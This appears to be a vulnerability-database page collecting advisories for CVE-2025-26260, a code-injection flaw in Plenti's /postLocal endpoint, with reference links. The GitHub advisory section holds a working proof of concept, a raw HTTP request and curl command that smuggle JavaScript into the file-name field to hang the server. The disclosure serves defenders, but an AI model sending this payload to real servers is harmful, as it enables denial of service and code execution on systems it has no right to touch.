n/a · Vulnerability
cve-program · CVE-2025-26260
PublishedPlenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.
Read the publisher's advisoryeuvd · EUVD-2025-6798
PublishedPlenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.
Read the publisher's advisorynvd · CVE-2025-26260
PublishedPlenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.
Read the publisher's advisoryosv · GHSA-mj4v-hp69-27x5
Published### Summary While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context. ### Details While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter. <img width="1145" alt="image" src="https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81" /> Last part of compileSvelte function ssrStr parameter executed in v8go engine. <img width="754" alt="image" src="https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af" /> This cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request. After posting a file with name 'layouts/global/test; eval(`while(1);`);var test.svelte' we can see the ssrStr parameter include our javascript codes. <img width="1023" alt="image" src="https://github.com/user-attachments/assets/369c7820-ff8a-4b9a-9cd3-6b0692f1dcf3" /> **Note**: Eval usage not must I just want to ensure that it's run javascript commands. ### PoC **Request** ``` POST /postlocal HTTP/1.1 Host: localhost:3000 Content-Length: 125 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: keep-alive [{"action":"create","encoding":"text","file":"layouts/global/test; eval(`while(1);`);var test.svelte","contents":"anethole"}] ``` **Video**  **Curl Request** ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \ --data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \ $'http://localhost:3000/postlocal' ``` ### Impact It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show. **Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),
Read the publisher's advisoryosv · GO-2025-3454
PublishedPlenti - Code Injection - Denial of Services in github.com/plentico/plenti
Read the publisher's advisoryosv · GO-2025-3515
PublishedCVE-2025-26260 in github.com/plentico/plenti
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2025-26260 · CVE overview and exploitation status
cve-program · CVE-2025-26260
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
- https://github.com/plentico/plenti/releases/tag/v0.7.17
- https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
- https://ahmetakan.com/2025/02/14/cve-2025-26260/
euvd · EUVD-2025-6798
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
- https://github.com/plentico/plenti/releases/tag/v0.7.17
- https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
- https://ahmetakan.com/2025/02/14/cve-2025-26260/
nvd · CVE-2025-26260
- https://ahmetakan.com/2025/02/14/cve-2025-26260/
- https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
- https://github.com/plentico/plenti/releases/tag/v0.7.17
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
osv · GHSA-mj4v-hp69-27x5
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
- https://nvd.nist.gov/vuln/detail/CVE-2025-26260
- https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e
- https://ahmetakan.com/2025/02/14/cve-2025-26260
- https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
- https://github.com/plentico/plenti
- https://github.com/plentico/plenti/releases/tag/v0.7.17
- https://pkg.go.dev/vuln/GO-2025-3454
- https://pkg.go.dev/vuln/GO-2025-3515
osv · GO-2025-3454
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
- https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e
osv · GO-2025-3515
- https://nvd.nist.gov/vuln/detail/CVE-2025-26260
- https://ahmetakan.com/2025/02/14/cve-2025-26260/
- https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
- https://github.com/plentico/plenti/releases/tag/v0.7.17
- https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
Related changes
Linked by CVE identifierNo related changes are available here.